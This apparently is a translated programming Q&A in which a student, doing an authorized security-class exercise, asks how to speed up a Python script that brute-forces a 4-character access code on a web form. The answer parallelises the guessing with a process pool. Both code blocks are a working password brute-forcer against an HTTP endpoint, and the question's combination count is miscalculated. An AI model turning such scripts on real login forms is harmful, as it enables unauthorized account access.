python中的慢蛮力程序

时间:2015-11-14 17:08:21

标签: python python-requests brute-force

所以问题就在这里,我们的安全老师制作了一个需要验证的网站,然后要求提供代码(4个字符),以便您可以访问文件。他告诉我们用Python(我们想要的任何库)编写一个可以找到密码的暴力程序。所以要做到这一点,我想首先制作一个程序,可以尝试在该代码字段上随机组合,只是为了了解每个请求的时间(我使用请求库),结果是每个请求的消失8秒 通过一些计算:4 ^ 36 = 13 436 928可能的组合,我的程序将在155.52天左右。 如果有人可以帮助我加快速度,那我真的很感激。 (他告诉我们,每秒可以制作大约1200个组合)

这是我的代码:

import requests
import time
import random

def gen():
    alphabet = "abcdefghijklmnopqrstuvwxyz0123456789"
    pw_length = 4
    mypw = ""

    for i in range(pw_length):
        next_index = random.randrange(len(alphabet))
        mypw = mypw + alphabet[next_index]

    return mypw

t0 = time.clock()
t1 = time.time()

cookie = {'ig': 'b0b5294376ef12a219147211fc33d7bb'}

for i in range(0,5):
    t2 = time.clock()
    t3 = time.time()
    values = {'RECALL':gen()}
    r = requests.post('http://www.example.com/verif.php', stream=True, cookies=cookie, data=values)
    print("##################################")
    print("cpu time for req ",i,":", time.clock()-t2)
    print("wall time for req ",i,":", time.time()-t3)

print("##################################")
print("##################################")
print("Total cpu time:", time.clock()-t0)
print("Total wall time:", time.time()-t1)

谢谢

1 个答案:

答案 0 :(得分:1)

您可以尝试的是使用Pool of workers并行执行多个请求,并将密码传递给每个工作者。类似的东西:

import itertools
from multiprocessing import Pool

def pass_generator():
    for pass_tuple in itertools.product(alphabet, repeat=4):
        yield ''.join(pass_tuple)

def check_password(password):
    values = {'RECALL': password}
    r = requests.post('http://www.example.com/verif.php', stream=True, cookies=cookie, data=values)
    # Check response here.

pool = Pool(processes=NUMBER_OF_PROCESSES) 
pool.map(check_password, pass_generator())